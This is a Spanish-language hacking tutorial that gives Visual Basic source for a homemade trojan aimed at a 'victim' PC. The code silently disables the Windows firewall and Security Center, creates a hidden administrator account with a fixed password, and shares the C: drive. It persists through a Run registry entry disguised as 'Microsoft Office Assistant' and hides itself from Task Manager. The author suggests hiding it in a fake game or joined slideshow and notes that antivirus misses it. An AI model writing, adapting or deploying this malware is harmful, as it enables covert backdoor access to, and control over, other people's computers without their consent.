Hacking casero (Visual Basic + MSDOS)

 

 

Cutre pero efectivo, lo programas tu, lo compilas, los antivirus no lo detectan y todos contentos ;)

 

Lo primero, comandos MSDOS que nos interesan saber para después meterlos en el código de Visual Basic para ejecutar en el PC de la víctima,

COMANDO
EJEMPLO
DESCRIPCIÓN
net user nombreusuario contraseña /ADD net user IUSR_wXP piruli /add Crea el usuario IUSR_wXP con la contraseña 'piruli' para que cuando queramos entrar en el PC remoto ya tengamos un usuario y una contraseña

net group nombregrupo nombreusuario /ADD

net localgroup Administradores /add IUSR_wXP Al usuario creado anteriormente le mete en el grupo administradores, para que no tengamos problemas de permisos. Somos el administrador del PC, que más queremos!! :)
net stop nombredelservicio net stop "Firewall de Windows/Conexión compartida a Internet (ICS)" Sirve para detener servicios que no queremos que nos controle, por ejemplo el firewall de Windows XP, el antivirus, el Antispiware...
net share nombrerecurso=Path: net share C=C: Comparte unidades de disco o el path que nos interese en el PC que se ejecute

 

Bien, todos estos comandos, si se nos ocurren más podemos ejecutarlos en el PC del tio que nos interese entrarle en su PC (esto es cuestión de imaginación), por ejemplo con estos nos sirve para crearnos un usuario que sea Administrador, le paramos el firewall y entramos a su disco C, todo por internet y de la forma más sencilla, ahora sólo nos falta que lo ejecute... y como? la mar de sencillo, lee abajo.

Vale, ahora yo lo suelo hacer con Visual Basic, no soy un experto en la materia ni mucho menos, pero hago algún programilla o algún juego para el tio a hackearle y le meto estas lineas. O sino simplemente genero el programilla de VB con estas 4 lineas y con un Joinner (que es un programa que me une varios archivos se lo mando) por ejemplo, le mando un PPS típico de txorradas y con el joinner le hago que se ejecute en segundo plano, lo malo que los joinners los detectan los antivirus, por eso prefiero hacer yo el juego con VB, aunque sea super estúpido, pero que lo ejecute.

 

Segundo, cómo hacer que se ejecute todo esto cada vez que arranque su ordenador, muy bien, entrando en el registro y generando una entrada aqui:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Y bueno, vamos a lo que es el código fuente de VB necesario, este sería para ejecutar los comandos de MSDOS que nos interesen, se crea una Sub con este contenido y se definen estas dos funciones arriba de todo.

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess&, ByVal bInheritHandle&, ByVal dwProcessId&) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Sub ParaServiciosYcreaUsuario()
     Dim hShell As Long
     Dim hProc As Long
     Dim codExit As Long
     Dim sCmd As String
     Dim Comando As String
  ' Para el servicio de Centro de seguridad
     Comando = "net stop " & Chr(34) & "Centro de seguridad" & Chr(34)
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
' el Chr(34) son las comillas dobles, para ejecutar un commando de MSDOS que sea una frase larga necesitamos ejecutarlo con dobles comillas, pues así se pondría para que VB lo ejecute bien.
  ' Para el servicio del Firewall de Windows
     Comando = "net stop " & Chr(34) & "Firewall de Windows/Conexión compartida a Internet (ICS)" & Chr(34)
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)

  ' Crea el usuario IUSR_wXP2
     Comando = "net user IUSR_wXP2 Hh3rr3r01 /add"
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)

  ' Mete al usuario en el grupo de Administradores local
     Comando = "net localgroup Administradores /add IUSR_wXP2"
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)

  ' Comparte C:\ su disco duro como C para que entremos x la red, aunque tambien podríamos entrar como C$
     Comando = "net share C=C:"
     sCmd = "cmd /c " & Comando
     hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide)
End Sub

 

Vale, ahora si lo que nos interesa es meterlo en el registro para que se inicie siempre que arranque el PC de la víctima y que cada vez que reinicie su PC le pare el servicio del firewall, le comparta C...

Sub MeteloEnRegistro()
     Dim hregkey As Long
     Dim subkey As String
          subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
     Dim stringbuffer As String
     Dim PathPrograma As String
          PathPrograma = "C:\WINDOWS\system32\svchost32.exe"
     Dim NombrePrograma As String
          NombrePrograma = "Microsoft Office Assistant"
     retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)

     If retval <> 0 Then
          Debug.Print "Can't open the subkey"
          Exit Sub
     End If

     stringbuffer = PathPrograma & vbNullChar
     retval = RegSetValueEx(hregkey, NombrePrograma, 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
     RegCloseKey hregkey
End Sub

 

Y necesitamos en un módulo meter esto:

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1

 

Puedes descargarte el código fuente completo de AKI. Si tenéis alguna sugerencia es pedirlo o decirlo!

Personalmente me gusta poner esto al principio, cuando se carga la aplicación, es para que el usuario no lo vea ni en pantalla ni en el "Administrador de tareas" que suele ser perfecto para que no nos mate el proceso.

Me.Visible = False
App.TaskVisible = False